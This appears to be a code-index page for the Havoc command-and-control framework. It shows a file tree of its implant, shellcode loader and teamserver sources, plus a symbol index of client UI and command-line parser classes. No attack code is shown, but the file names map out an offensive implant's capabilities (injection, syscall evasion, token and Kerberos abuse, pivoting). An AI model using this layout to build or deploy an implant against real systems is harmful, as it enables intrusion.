│   │       │   ├── Dotnet.c
│   │       │   ├── Download.c
│   │       │   ├── HwBpEngine.c
│   │       │   ├── HwBpExceptions.c
│   │       │   ├── Jobs.c
│   │       │   ├── Kerberos.c
│   │       │   ├── Memory.c
│   │       │   ├── MiniStd.c
│   │       │   ├── Obf.c
│   │       │   ├── ObjectApi.c
│   │       │   ├── Package.c
│   │       │   ├── Parser.c
│   │       │   ├── Pivot.c
│   │       │   ├── Runtime.c
│   │       │   ├── Socket.c
│   │       │   ├── Spoof.c
│   │       │   ├── SysNative.c
│   │       │   ├── Syscalls.c
│   │       │   ├── Thread.c
│   │       │   ├── Token.c
│   │       │   ├── Transport.c
│   │       │   ├── TransportHttp.c
│   │       │   ├── TransportSmb.c
│   │       │   └── Win32.c
│   │       ├── crypt/
│   │       │   └── AesCrypt.c
│   │       ├── inject/
│   │       │   ├── Inject.c
│   │       │   └── InjectUtil.c
│   │       └── main/
│   │           ├── MainDll.c
│   │           ├── MainExe.c
│   │           └── MainSvc.c
│   ├── DllLdr/
│   │   ├── Include/
│   │   │   ├── Core.h
│   │   │   ├── Macro.h
│   │   │   └── Native.h
│   │   ├── Scripts/
│   │   │   └── extract.py
│   │   ├── Source/
│   │   │   └── Entry.c
│   │   └── makefile
│   └── Shellcode/
│       ├── Bin/
│       │   └── .gitignore
│       ├── Include/
│       │   ├── Core.h
│       │   ├── Macro.h
│       │   ├── Utils.h
│       │   └── Win32.h
│       ├── Scripts/
│       │   ├── Hasher
│       │   ├── Hasher.c
│       │   ├── Linker.ld
│       │   └── extract.py
│       ├── Source/
│       │   ├── Asm/
│       │   │   ├── x64/
│       │   │   │   └── Asm.s
│       │   │   └── x86/
│       │   │       └── Asm.s
│       │   ├── Entry.c
│       │   ├── Utils.c
│       │   └── Win32.c
│       └── makefile
├── profiles/
│   ├── havoc.yaotl
│   ├── http_smb.yaotl
│   └── webhook_example.yaotl
└── teamserver/
    ├── GA-Teamserver
    ├── Install.sh
    ├── README.md
    ├── Teamserver-Dockerfile
    ├── cmd/
    │   ├── client.go
    │   ├── cmd.go
    │   ├── server/
    │   │   ├── agent.go
    │   │   ├── dispatch.go
    │   │   ├── listener.go
    │   │   ├── service.go
    │   │   ├── teamserver.go
    │   │   └── types.go
    │   └── server.go
    ├── go.mod
    ├── go.sum
    ├── main.go
    └── pkg/
        ├── agent/
        │   ├── agent.go
        │   ├── commands.go
        │   ├── demons.go
        │   └── types.go
        ├── colors/
        │   └── colors.go
        ├── common/
        │   ├── builder/
        │   │   └── builder.go
        │   ├── certs/
        │   │   └── https.go
        │   ├── crypt/
        │   │   └── aes.go
        │   ├── packer/
        │   │   └── packer.go
        │   ├── parser/
        │   │   └── parser.go
        │   └── util.go
        ├── db/
        │   ├── agents.go
        │   ├── db.go
        │   ├── links.go
        │   ├── listeners.go
        │   └── misc.go
        ├── events/
        │   ├── chatlog.go
        │   ├── demons.go
        │   ├── events.go
        │   ├── gate.go
        │   ├── listeners.go
        │   ├── service.go
        │   └── teamserver.go
        ├── handlers/
        │   ├── 404.html
        │   ├── external.go
        │   ├── handlers.go
        │   ├── http.go
        │   ├── smb.go
        │   └── types.go
        ├── logger/
        │   ├── global.go
        │   └── logger.go
        ├── logr/
        │   ├── demon.go
        │   ├── listener.go
        │   ├── logr.go
        │   └── server.go
        ├── packager/
        │   ├── packages.go
        │   └── types.go
        ├── profile/
        │   ├── config.go
        │   ├── profile.go
        │   └── yaotl/
        │       ├── diagnostic.go
        │       ├── diagnostic_text.go
        │       ├── didyoumean.go
        │       ├── doc.go
        │       ├── eval_context.go
        │       ├── expr_call.go
        │       ├── expr_list.go
        │       ├── expr_map.go
        │       ├── expr_unwrap.go
        │       ├── ext/
        │       │   ├── README.md
        │       │   ├── customdecode/
        │       │   │   ├── README.md
        │       │   │   ├── customdecode.go
        │       │   │   └── expression_type.go
        │       │   ├── dynblock/
        │       │   │   ├── README.md
        │       │   │   ├── expand_body.go
        │       │   │   ├── expand_body_test.go
        │       │   │   ├── expand_spec.go
        │       │   │   ├── expr_wrap.go
        │       │   │   ├── iteration.go
        │       │   │   ├── public.go
        │       │   │   ├── schema.go
        │       │   │   ├── unknown_body.go
        │       │   │   ├── variables.go
        │       │   │   ├── variables_hcldec.go
        │       │   │   └── variables_test.go
        │       │   ├── transform/
        │       │   │   ├── doc.go
        │       │   │   ├── error.go
        │       │   │   ├── transform.go
        │       │   │   ├── transform_test.go
        │       │   │   └── transformer.go
        │       │   ├── tryfunc/
        │       │   │   ├── README.md
        │       │   │   ├── tryfunc.go
        │       │   │   └── tryfunc_test.go
        │       │   ├── typeexpr/
        │       │   │   ├── README.md
        │       │   │   ├── doc.go
        │       │   │   ├── get_type.go
        │       │   │   ├── get_type_test.go
        │       │   │   ├── public.go
        │       │   │   ├── type_string_test.go
        │       │   │   ├── type_type.go
        │       │   │   └── type_type_test.go
        │       │   └── userfunc/
        │       │       ├── README.md
        │       │       ├── decode.go
        │       │       ├── decode_test.go
        │       │       ├── doc.go
        │       │       └── public.go
        │       ├── gohcl/
        │       │   ├── decode.go
        │       │   ├── doc.go
        │       │   ├── encode.go
        │       │   ├── schema.go
        │       │   └── types.go
        │       ├── guide/
        │       │   ├── Makefile
        │       │   ├── conf.py
        │       │   ├── go.rst
        │       │   ├── go_decoding_gohcl.rst
        │       │   ├── go_decoding_hcldec.rst
        │       │   ├── go_decoding_lowlevel.rst
        │       │   ├── go_diagnostics.rst
        │       │   ├── go_expression_eval.rst
        │       │   ├── go_parsing.rst
        │       │   ├── go_patterns.rst
        │       │   ├── index.rst
        │       │   ├── intro.rst
        │       │   ├── language_design.rst
        │       │   ├── make.bat
        │       │   └── requirements.txt
        │       ├── hcldec/
        │       │   ├── block_labels.go
        │       │   ├── decode.go
        │       │   ├── doc.go
        │       │   ├── gob.go
        │       │   ├── public.go
        │       │   ├── public_test.go
        │       │   ├── schema.go
        │       │   ├── spec.go
        │       │   ├── spec_test.go
        │       │   ├── variables.go
        │       │   └── variables_test.go
        │       ├── hcled/
        │       │   ├── doc.go
        │       │   └── navigation.go
        │       ├── hclparse/
        │       │   └── parser.go
        │       ├── hclsimple/
        │       │   └── hclsimple.go
        │       ├── hclsyntax/
        │       │   ├── diagnostics.go
        │       │   ├── didyoumean.go
        │       │   ├── doc.go
        │       │   ├── expression.go
        │       │   ├── expression_ops.go
        │       │   ├── expression_template.go
        │       │   ├── expression_vars.go
        │       │   ├── expression_vars_gen.go
        │       │   ├── file.go
        │       │   ├── fuzz/
        │       │   │   ├── Makefile
        │       │   │   ├── README.md
        │       │   │   ├── config/
        │       │   │   │   ├── corpus/
        │       │   │   │   │   ├── attr-expr.hcl
        │       │   │   │   │   ├── attr-literal.hcl
        │       │   │   │   │   ├── block-attrs.hcl
        │       │   │   │   │   ├── block-empty.hcl
        │       │   │   │   │   ├── block-nested.hcl
        │       │   │   │   │   ├── empty.hcl
        │       │   │   │   │   └── utf8.hcl
        │       │   │   │   └── fuzz.go
        │       │   │   ├── expr/
        │       │   │   │   ├── corpus/
        │       │   │   │   │   ├── empty.hcle
        │       │   │   │   │   ├── escape-dollar.hcle
        │       │   │   │   │   ├── escape-newline.hcle
        │       │   │   │   │   ├── function-call.hcle
        │       │   │   │   │   ├── int.hcle
        │       │   │   │   │   ├── literal.hcle
        │       │   │   │   │   ├── splat-attr.hcle
        │       │   │   │   │   ├── splat-full.hcle
        │       │   │   │   │   ├── utf8.hcle
        │       │   │   │   │   └── var.hcle
        │       │   │   │   └── fuzz.go
        │       │   │   ├── template/
        │       │   │   │   ├── corpus/
        │       │   │   │   │   ├── empty.tmpl
        │       │   │   │   │   ├── escape-dollar.tmpl
        │       │   │   │   │   ├── escape-newline.tmpl
        │       │   │   │   │   ├── function-call.tmpl
        │       │   │   │   │   ├── int.tmpl
        │       │   │   │   │   ├── just-interp.tmpl
        │       │   │   │   │   ├── literal.tmpl
        │       │   │   │   │   └── utf8.tmpl
        │       │   │   │   └── fuzz.go
        │       │   │   └── traversal/
        │       │   │       ├── corpus/
        │       │   │       │   ├── attr.hclt
        │       │   │       │   ├── complex.hclt
        │       │   │       │   ├── index.hclt
        │       │   │       │   └── root.hclt
        │       │   │       └── fuzz.go
        │       │   ├── generate.go
        │       │   ├── keywords.go
        │       │   ├── navigation.go
        │       │   ├── node.go
        │       │   ├── parser.go
        │       │   ├── parser_template.go
        │       │   ├── parser_traversal.go
        │       │   ├── peeker.go
        │       │   ├── public.go
        │       │   ├── scan_string_lit.go
        │       │   ├── scan_string_lit.rl
        │       │   ├── scan_tokens.go
        │       │   ├── scan_tokens.rl
        │       │   ├── structure.go
        │       │   ├── structure_at_pos.go
        │       │   ├── token.go
        │       │   ├── token_type_string.go
        │       │   ├── unicode2ragel.rb
        │       │   ├── unicode_derived.rl
        │       │   ├── variables.go
        │       │   └── walk.go
        │       ├── hcltest/
        │       │   ├── doc.go
        │       │   ├── mock.go
        │       │   └── mock_test.go
        │       ├── hclwrite/
        │       │   ├── ast.go
        │       │   ├── ast_attribute.go
        │       │   ├── ast_block.go
        │       │   ├── ast_block_test.go
        │       │   ├── ast_body.go
        │       │   ├── ast_body_test.go
        │       │   ├── ast_expression.go
        │       │   ├── ast_test.go
        │       │   ├── doc.go
        │       │   ├── examples_test.go
        │       │   ├── format.go
        │       │   ├── format_test.go
        │       │   ├── fuzz/
        │       │   │   ├── Makefile
        │       │   │   ├── README.md
        │       │   │   └── config/
        │       │   │       ├── corpus/
        │       │   │       │   ├── attr-expr.hcl
        │       │   │       │   ├── attr-literal.hcl
        │       │   │       │   ├── attr.hcl
        │       │   │       │   ├── block-attrs.hcl
        │       │   │       │   ├── block-comment.hcl
        │       │   │       │   ├── block-empty.hcl
        │       │   │       │   ├── block-nested.hcl
        │       │   │       │   ├── complex.hcl
        │       │   │       │   ├── empty.hcl
        │       │   │       │   ├── escape-dollar.hcl
        │       │   │       │   ├── escape-newline.hcl
        │       │   │       │   ├── function-call-tmpl.hcl
        │       │   │       │   ├── function-call.hcl
        │       │   │       │   ├── hash-comment.hcl
        │       │   │       │   ├── index.hcl
        │       │   │       │   ├── int-tmpl.hcl
        │       │   │       │   ├── int.hcl
        │       │   │       │   ├── just-interp.hcl
        │       │   │       │   ├── literal.hcl
        │       │   │       │   ├── lots-of-comments.hcl
        │       │   │       │   ├── slash-comment.hcl
        │       │   │       │   ├── splat-attr.hcl
        │       │   │       │   ├── splat-dot-full.hcl
        │       │   │       │   ├── splat-full.hcl
        │       │   │       │   ├── traversal-dot-index-terminal.hcl
        │       │   │       │   ├── traversal-dot-index.hcl
        │       │   │       │   ├── traversal-index.hcl
        │       │   │       │   ├── utf8.hcl
        │       │   │       │   └── var.hcl
        │       │   │       └── fuzz.go
        │       │   ├── generate.go
        │       │   ├── generate_test.go
        │       │   ├── native_node_sorter.go
        │       │   ├── node.go
        │       │   ├── parser.go
        │       │   ├── parser_test.go
        │       │   ├── public.go
        │       │   ├── round_trip_test.go
        │       │   └── tokens.go
        │       ├── json/
        │       │   ├── ast.go
        │       │   ├── didyoumean.go
        │       │   ├── didyoumean_test.go
        │       │   ├── doc.go
        │       │   ├── fuzz/
        │       │   │   ├── Makefile
        │       │   │   ├── README.md
        │       │   │   └── config/
        │       │   │       ├── corpus/
        │       │   │       │   ├── attr-expr.hcl.json
        │       │   │       │   ├── attr-literal.hcl.json
        │       │   │       │   ├── block-attrs.hcl.json
        │       │   │       │   ├── block-empty.json
        │       │   │       │   ├── block-nested.hcl.json
        │       │   │       │   ├── empty.hcl.json
        │       │   │       │   ├── list-empty.json
        │       │   │       │   ├── list-nested.json
        │       │   │       │   ├── list-values.json
        │       │   │       │   ├── number-big.hcl.json
        │       │   │       │   ├── number-int.hcl.json
        │       │   │       │   └── utf8.hcl.json
        │       │   │       └── fuzz.go
        │       │   ├── navigation.go
        │       │   ├── navigation_test.go
        │       │   ├── parser.go
        │       │   ├── parser_test.go
        │       │   ├── peeker.go
        │       │   ├── public.go
        │       │   ├── public_test.go
        │       │   ├── scanner.go
        │       │   ├── scanner_test.go
        │       │   ├── spec.md
        │       │   ├── structure.go
        │       │   ├── structure_test.go
        │       │   └── tokentype_string.go
        │       ├── merged.go
        │       ├── ops.go
        │       ├── pos.go
        │       ├── pos_scanner.go
        │       ├── schema.go
        │       ├── specsuite/
        │       │   ├── README.md
        │       │   ├── spec_test.go
        │       │   └── tests/
        │       │       ├── comments/
        │       │       │   ├── hash_comment.hcl
        │       │       │   ├── hash_comment.hcldec
        │       │       │   ├── hash_comment.t
        │       │       │   ├── multiline_comment.hcl
        │       │       │   ├── multiline_comment.hcldec
        │       │       │   ├── multiline_comment.t
        │       │       │   ├── slash_comment.hcl
        │       │       │   ├── slash_comment.hcldec
        │       │       │   └── slash_comment.t
        │       │       ├── empty.hcl
        │       │       ├── empty.hcl.json
        │       │       ├── empty.hcldec
        │       │       ├── empty.t
        │       │       ├── expressions/
        │       │       │   ├── heredoc.hcl
        │       │       │   ├── heredoc.hcldec
        │       │       │   ├── heredoc.t
        │       │       │   ├── operators.hcl
        │       │       │   ├── operators.hcldec
        │       │       │   ├── operators.t
        │       │       │   ├── primitive_literals.hcl
        │       │       │   ├── primitive_literals.hcldec
        │       │       │   └── primitive_literals.t
        │       │       └── structure/
        │       │           ├── attributes/
        │       │           │   ├── expected.hcl
        │       │           │   ├── expected.hcldec
        │       │           │   ├── expected.t
        │       │           │   ├── singleline_bad.hcl
        │       │           │   ├── singleline_bad.hcldec
        │       │           │   ├── singleline_bad.t
        │       │           │   ├── unexpected.hcl
        │       │           │   ├── unexpected.hcldec
        │       │           │   └── unexpected.t
        │       │           └── blocks/
        │       │               ├── single_empty_oneline.hcl
        │       │               ├── single_empty_oneline.hcldec
        │       │               ├── single_empty_oneline.t
        │       │               ├── single_expected.hcl
        │       │               ├── single_expected.hcldec
        │       │               ├── single_expected.t
        │       │               ├── single_oneline.hcl
        │       │               ├── single_oneline.hcldec
        │       │               ├── single_oneline.t
        │       │               ├── single_oneline_invalid.hcl
        │       │               ├── single_oneline_invalid.hcldec
        │       │               ├── single_oneline_invalid.t
        │       │               ├── single_unclosed.hcl
        │       │               ├── single_unclosed.hcldec
        │       │               └── single_unclosed.t
        │       ├── static_expr.go
        │       ├── structure.go
        │       ├── structure_at_pos.go
        │       ├── traversal.go
        │       └── traversal_for_expr.go
        ├── service/
        │   ├── agent.go
        │   ├── external.go
        │   ├── listener.go
        │   ├── service.go
        │   └── types.go
        ├── socks/
        │   ├── socks.go
        │   └── util.go
        ├── utils/
        │   └── utils.go
        ├── webhook/
        │   ├── discord.go
        │   └── webhook.go
        └── win32/
            └── types.go
Download .txt
Showing preview only (281K chars total). Download the full file or copy to clipboard to get everything.
SYMBOL INDEX (3303 symbols across 303 files)

FILE: client/include/Havoc/CmdLine.hpp
  type cmdline (line 40) | namespace cmdline{
    type detail (line 42) | namespace detail{
      class lexical_cast_t (line 45) | class lexical_cast_t{
        method Target (line 47) | static Target cast(const Source &arg){
      class lexical_cast_t<Target, Source, true> (line 58) | class lexical_cast_t<Target, Source, true>{
        method Target (line 60) | static Target cast(const Source &arg){
      class lexical_cast_t<std::string, Source, false> (line 66) | class lexical_cast_t<std::string, Source, false>{
        method cast (line 68) | static std::string cast(const Source &arg){
      class lexical_cast_t<Target, std::string, false> (line 76) | class lexical_cast_t<Target, std::string, false>{
        method Target (line 78) | static Target cast(const std::string &arg){
      type is_same (line 88) | struct is_same {
      type is_same<T, T> (line 93) | struct is_same<T, T>{
      function Target (line 98) | Target lexical_cast(const Source &arg)
      function demangle (line 103) | static inline std::string demangle(const std::string &name)
      function readable_typename (line 113) | std::string readable_typename()
      function default_value (line 119) | std::string default_value(T def)
    class cmdline_error (line 134) | class cmdline_error : public std::exception {
      method cmdline_error (line 136) | cmdline_error(const std::string &msg): msg(msg){}
    type default_reader (line 144) | struct default_reader{
      method T (line 145) | T operator()(const std::string &str){
    type range_reader (line 151) | struct range_reader{
      method range_reader (line 152) | range_reader(const T &low, const T &high): low(low), high(high) {}
      method T (line 153) | T operator()(const std::string &s) const {
    function range (line 163) | range_reader<T> range(const T &low, const T &high)
    type oneof_reader (line 169) | struct oneof_reader{
      method T (line 170) | T operator()(const std::string &s){
      method add (line 176) | void add(const T &v){ alt.push_back(v); }
    function oneof (line 182) | oneof_reader<T> oneof(T a1)
    function oneof (line 190) | oneof_reader<T> oneof(T a1, T a2)
    function oneof (line 199) | oneof_reader<T> oneof(T a1, T a2, T a3)
    function oneof (line 209) | oneof_reader<T> oneof(T a1, T a2, T a3, T a4)
    function oneof (line 220) | oneof_reader<T> oneof(T a1, T a2, T a3, T a4, T a5)
    function oneof (line 232) | oneof_reader<T> oneof(T a1, T a2, T a3, T a4, T a5, T a6)
    function oneof (line 245) | oneof_reader<T> oneof(T a1, T a2, T a3, T a4, T a5, T a6, T a7)
    function oneof (line 259) | oneof_reader<T> oneof(T a1, T a2, T a3, T a4, T a5, T a6, T a7, T a8)
    function oneof (line 274) | oneof_reader<T> oneof(T a1, T a2, T a3, T a4, T a5, T a6, T a7, T a8, ...
    function oneof (line 290) | oneof_reader<T> oneof(T a1, T a2, T a3, T a4, T a5, T a6, T a7, T a8, ...
    class parser (line 308) | class parser{
      method parser (line 310) | parser(){
      method add (line 318) | void add(const std::string &name,
      method add (line 327) | void add(const std::string &name,
      method add (line 336) | void add(const std::string &name,
      method footer (line 347) | void footer(const std::string &f){
      method set_program_name (line 351) | void set_program_name(const std::string &name){
      method exist (line 355) | bool exist(const std::string &name) const {
      method T (line 361) | const T &get(const std::string &name) const {
      method parse (line 372) | bool parse(const std::string &arg){
      method parse (line 414) | bool parse(const std::vector<std::string> &args){
      method parse (line 424) | bool parse(int argc, const char * const argv[]){
      method parse_check (line 525) | void parse_check(const std::string &arg){
      method parse_check (line 531) | void parse_check(const std::vector<std::string> &args){
      method parse_check (line 537) | void parse_check(int argc, char *argv[]){
      method error (line 543) | std::string error() const{
      method error_full (line 547) | std::string error_full() const{
      method usage (line 554) | std::string usage() const {
      method check (line 587) | void check(int argc, bool ok){
      method set_option (line 599) | void set_option(const std::string &name){
      method set_option (line 610) | void set_option(const std::string &name, const std::string &value){
      class option_base (line 621) | class option_base{
      class option_without_value (line 638) | class option_without_value : public option_base {
        method option_without_value (line 640) | option_without_value(const std::string &name,
        method has_value (line 647) | bool has_value() const { return false; }
        method set (line 649) | bool set(){
        method set (line 654) | bool set(const std::string &){
        method has_set (line 658) | bool has_set() const {
        method valid (line 662) | bool valid() const{
        method must (line 666) | bool must() const{
        method short_name (line 674) | char short_name() const{
        method short_description (line 682) | std::string short_description() const{
      class option_with_value (line 694) | class option_with_value : public option_base {
        method option_with_value (line 696) | option_with_value(const std::string &name,
        method T (line 707) | const T &get() const {
        method has_value (line 711) | bool has_value() const { return true; }
        method set (line 713) | bool set(){
        method set (line 717) | bool set(const std::string &value){
        method has_set (line 728) | bool has_set() const{
        method valid (line 732) | bool valid() const{
        method must (line 737) | bool must() const{
        method short_name (line 745) | char short_name() const{
        method short_description (line 753) | std::string short_description() const{
        method full_description (line 758) | std::string full_description(const std::string &desc){
      class option_with_value_with_reader (line 778) | class option_with_value_with_reader : public option_with_value<T> {
        method option_with_value_with_reader (line 780) | option_with_value_with_reader(const std::string &name,
        method T (line 790) | T read(const std::string &s){

FILE: client/include/Havoc/Connector.hpp
  type HavocNamespace (line 12) | namespace HavocNamespace
    class Connector (line 14) | class Connector : public QTcpSocket

FILE: client/include/Havoc/DBManager/DBManager.hpp
  class HavocNamespace::HavocSpace::DBManager (line 12) | class HavocNamespace::HavocSpace::DBManager

FILE: client/include/Havoc/DemonCmdDispatch.h
  type class (line 23) | enum class
  function class (line 53) | class DispatchOutput
  function class (line 61) | class CommandExecute
  function class (line 102) | class HavocSpace::DemonCommands

FILE: client/include/Havoc/Havoc.hpp
  class HavocSpace::Havoc (line 10) | class HavocSpace::Havoc {

FILE: client/include/Havoc/Packager.hpp
  type HavocNamespace::Util::Packager (line 10) | namespace HavocNamespace::Util::Packager
    type Package (line 27) | struct Package
    type InitConnection (line 34) | namespace InitConnection
    type Listener (line 42) | namespace Listener
    type Chat (line 53) | namespace Chat
    type Gate (line 64) | namespace Gate
    type Session (line 73) | namespace Session
    type Service (line 84) | namespace Service
    type Teamserver (line 91) | namespace Teamserver
  class HavocSpace::Packager (line 101) | class HavocSpace::Packager

FILE: client/include/Havoc/PythonApi/Event.h
  type PyEvents (line 6) | typedef struct

FILE: client/include/Havoc/PythonApi/PyDemonClass.h
  type PyDemonClass (line 6) | typedef struct

FILE: client/include/Havoc/PythonApi/PythonApi.h
  function namespace (line 19) | namespace Core
  function namespace (line 39) | namespace HavocUI
  function namespace (line 66) | namespace emb

FILE: client/include/UserInterface/Dialogs/About.hpp
  class About (line 7) | class About : public QDialog

FILE: client/include/UserInterface/Dialogs/Connect.hpp
  class HavocNamespace::UserInterface::Dialogs::Connect (line 13) | class HavocNamespace::UserInterface::Dialogs::Connect : public QDialog

FILE: client/include/UserInterface/Dialogs/Listener.hpp
  class HavocNamespace::UserInterface::Dialogs::NewListener (line 28) | class HavocNamespace::UserInterface::Dialogs::NewListener : public QDialog

FILE: client/include/UserInterface/Dialogs/Payload.hpp
  class Payload (line 21) | class Payload : public QDialog

FILE: client/include/UserInterface/HavocUI.hpp
  class HavocNamespace::UserInterface::HavocUi (line 28) | class HavocNamespace::UserInterface::HavocUi : public QMainWindow

FILE: client/include/UserInterface/SmallWidgets/EventViewer.hpp
  class HavocNamespace::UserInterface::SmallWidgets::EventViewer (line 6) | class HavocNamespace::UserInterface::SmallWidgets::EventViewer : public ...

FILE: client/include/UserInterface/Widgets/Chat.hpp
  class HavocNamespace::UserInterface::Widgets::Chat (line 8) | class HavocNamespace::UserInterface::Widgets::Chat : public QWidget

FILE: client/include/UserInterface/Widgets/DemonInteracted.h
  function namespace (line 7) | namespace HavocNamespace::UserInterface::Widgets

FILE: client/include/UserInterface/Widgets/FileBrowser.hpp
  type _FileDirData (line 33) | struct _FileDirData
  class FileBrowserTableItem (line 40) | class FileBrowserTableItem : public QTableWidgetItem
  class FileBrowserTreeItem (line 46) | class FileBrowserTreeItem : public QTreeWidgetItem
  class FileBrowser (line 53) | class FileBrowser : public QWidget

FILE: client/include/UserInterface/Widgets/ListenerTable.hpp
  class HavocNamespace::UserInterface::Widgets::ListenersTable (line 7) | class HavocNamespace::UserInterface::Widgets::ListenersTable : public QW...

FILE: client/include/UserInterface/Widgets/LootWidget.h
  function class (line 15) | class ImageLabel : public QWidget
  function class (line 39) | class LootWidget : public QWidget

FILE: client/include/UserInterface/Widgets/ProcessList.hpp
  class HavocNamespace::UserInterface::Widgets::ProcessList (line 21) | class HavocNamespace::UserInterface::Widgets::ProcessList : public QWidg...

FILE: client/include/UserInterface/Widgets/PythonScript.hpp
  class HavocNamespace::UserInterface::Widgets::PythonScriptInterpreter (line 13) | class HavocNamespace::UserInterface::Widgets::PythonScriptInterpreter : ...

FILE: client/include/UserInterface/Widgets/ScriptManager.h
  function class (line 6) | class HavocNamespace::UserInterface::Widgets::ScriptManager : public QWi...

FILE: client/include/UserInterface/Widgets/SessionGraph.hpp
  class Node (line 10) | class Node
    method type (line 52) | int type() const override { return Type; }
  class GraphWidget (line 11) | class GraphWidget
    method Q_OBJECT (line 79) | Q_OBJECT
  class Edge (line 12) | class Edge
    method type (line 153) | int type() const override { return Type; }
  type NodeItemType (line 14) | enum class NodeItemType {
  class Node (line 20) | class Node : public QGraphicsItem
    method type (line 52) | int type() const override { return Type; }
  class GraphWidget (line 77) | class GraphWidget : public QGraphicsView
    method Q_OBJECT (line 79) | Q_OBJECT
  class Edge (line 138) | class Edge : public QGraphicsItem
    method type (line 153) | int type() const override { return Type; }

FILE: client/include/UserInterface/Widgets/SessionTable.hpp
  class HavocNamespace::UserInterface::Widgets::SessionTable (line 7) | class HavocNamespace::UserInterface::Widgets::SessionTable : public QWidget

FILE: client/include/UserInterface/Widgets/Store.hpp
  class Store (line 35) | class Store

FILE: client/include/UserInterface/Widgets/Teamserver.hpp
  class Teamserver (line 16) | class Teamserver

FILE: client/include/UserInterface/Widgets/TeamserverTabSession.h
  function class (line 17) | class HavocNamespace::UserInterface::Widgets::TeamserverTabSession : pub...

FILE: client/include/Util/ColorText.h
  function class (line 6) | class HavocNamespace::Util::ColorText {

FILE: client/include/global.hpp
  type HavocNamespace (line 66) | namespace HavocNamespace
    type Util (line 71) | namespace Util
      class ColorText (line 73) | class ColorText
      type RegisteredCommand (line 78) | struct RegisteredCommand
      type RegisteredModule (line 93) | struct RegisteredModule
      type ListenerItem (line 106) | struct ListenerItem
      class FileBrowser (line 241) | class FileBrowser
    type UserInterface (line 116) | namespace UserInterface
      class HavocUi (line 118) | class HavocUi
      type Dialogs (line 120) | namespace Dialogs {
        class Connect (line 121) | class Connect
        class NewListener (line 122) | class NewListener
      type Widgets (line 126) | namespace Widgets {
        class Chat (line 127) | class Chat
        class SessionTable (line 128) | class SessionTable
        class ListenersTable (line 129) | class ListenersTable
        class CredentialsTable (line 130) | class CredentialsTable
        class TeamserverTabSession (line 131) | class TeamserverTabSession
        class ProcessList (line 132) | class ProcessList
        class PythonScriptInterpreter (line 133) | class PythonScriptInterpreter
        class ScriptManager (line 134) | class ScriptManager
      type SmallWidgets (line 137) | namespace SmallWidgets {
        class EventViewer (line 138) | class EventViewer
    type HavocSpace (line 143) | namespace HavocSpace {
      type Listener (line 145) | struct Listener {
      class Packager (line 185) | class Packager
      class DBManager (line 186) | class DBManager
      class Havoc (line 187) | class Havoc
      class DemonCommands (line 204) | class DemonCommands
    class Connector (line 195) | class Connector
    type UserInterface::Widgets (line 197) | namespace UserInterface::Widgets
      class DemonInteracted (line 199) | class DemonInteracted
    type HavocSpace (line 202) | namespace HavocSpace
      type Listener (line 145) | struct Listener {
      class Packager (line 185) | class Packager
      class DBManager (line 186) | class DBManager
      class Havoc (line 187) | class Havoc
      class DemonCommands (line 204) | class DemonCommands
    type Util (line 207) | namespace Util
      class ColorText (line 73) | class ColorText
      type RegisteredCommand (line 78) | struct RegisteredCommand
      type RegisteredModule (line 93) | struct RegisteredModule
      type ListenerItem (line 106) | struct ListenerItem
      class FileBrowser (line 241) | class FileBrowser
  type HavocNamespace (line 193) | namespace HavocNamespace
    type Util (line 71) | namespace Util
      class ColorText (line 73) | class ColorText
      type RegisteredCommand (line 78) | struct RegisteredCommand
      type RegisteredModule (line 93) | struct RegisteredModule
      type ListenerItem (line 106) | struct ListenerItem
      class FileBrowser (line 241) | class FileBrowser
    type UserInterface (line 116) | namespace UserInterface
      class HavocUi (line 118) | class HavocUi
      type Dialogs (line 120) | namespace Dialogs {
        class Connect (line 121) | class Connect
        class NewListener (line 122) | class NewListener
      type Widgets (line 126) | namespace Widgets {
        class Chat (line 127) | class Chat
        class SessionTable (line 128) | class SessionTable
        class ListenersTable (line 129) | class ListenersTable
        class CredentialsTable (line 130) | class CredentialsTable
        class TeamserverTabSession (line 131) | class TeamserverTabSession
        class ProcessList (line 132) | class ProcessList
        class PythonScriptInterpreter (line 133) | class PythonScriptInterpreter
        class ScriptManager (line 134) | class ScriptManager
      type SmallWidgets (line 137) | namespace SmallWidgets {
        class EventViewer (line 138) | class EventViewer
    type HavocSpace (line 143) | namespace HavocSpace {
      type Listener (line 145) | struct Listener {
      class Packager (line 185) | class Packager
      class DBManager (line 186) | class DBManager
      class Havoc (line 187) | class Havoc
      class DemonCommands (line 204) | class DemonCommands
    class Connector (line 195) | class Connector
    type UserInterface::Widgets (line 197) | namespace UserInterface::Widgets
      class DemonInteracted (line 199) | class DemonInteracted
    type HavocSpace (line 202) | namespace HavocSpace
      type Listener (line 145) | struct Listener {
      class Packager (line 185) | class Packager
      class DBManager (line 186) | class DBManager
      class Havoc (line 187) | class Havoc
      class DemonCommands (line 204) | class DemonCommands
    type Util (line 207) | namespace Util
      class ColorText (line 73) | class ColorText
      type RegisteredCommand (line 78) | struct RegisteredCommand
      type RegisteredModule (line 93) | struct RegisteredModule
      type ListenerItem (line 106) | struct ListenerItem
      class FileBrowser (line 241) | class FileBrowser
  type HavocX (line 275) | namespace HavocX

FILE: client/src/Havoc/Demon/CommandSend.cc
  function NewPackageCommand (line 13) | auto NewPackageCommand( const QString& TeamserverName, Util::Packager::B...

FILE: client/src/Havoc/Demon/ConsoleInput.cc
  function string_format (line 18) | auto string_format( const std::string& format, Args ... args ) -> std::s...
  function is_number (line 28) | static bool is_number( const std::string& s )
  function JoinAtIndex (line 45) | static auto JoinAtIndex( QStringList list, int index ) -> QString
  function ParseQuotes (line 61) | auto ParseQuotes( QString commandline ) -> QStringList
  function ParseCommandLine (line 74) | auto ParseCommandLine( QString commandline ) -> QStringList
  function compareQString (line 183) | bool compareQString(const QString &a, const QString &b)

FILE: client/src/Havoc/Packager.cc
  function foreach (line 90) | foreach( const QString& key, BodyObject[ "Info" ].toObject().keys() )
  function QJsonDocument (line 106) | QJsonDocument Packager::EncodePackage( Util::Packager::Package Package )

FILE: client/src/Havoc/PythonApi/Event.cc
  function EventClass_dealloc (line 70) | void EventClass_dealloc( PPyEvents self )
  function PyObject (line 77) | PyObject* EventClass_new( PyTypeObject *type, PyObject *args, PyObject *...
  function EventClass_init (line 86) | int EventClass_init( PPyEvents self, PyObject *args, PyObject *kwds )
  function PyObject (line 96) | PyObject* EventClass_OnNewSession( PPyEvents self, PyObject *args )
  function PyObject (line 112) | PyObject* EventClass_OnDemonOutput( PPyEvents self, PyObject *args )

FILE: client/src/Havoc/PythonApi/Havoc.cc
  type PythonAPI::Havoc (line 18) | namespace PythonAPI::Havoc
    type PyModule (line 33) | namespace PyModule
      type PyModuleDef (line 35) | struct PyModuleDef
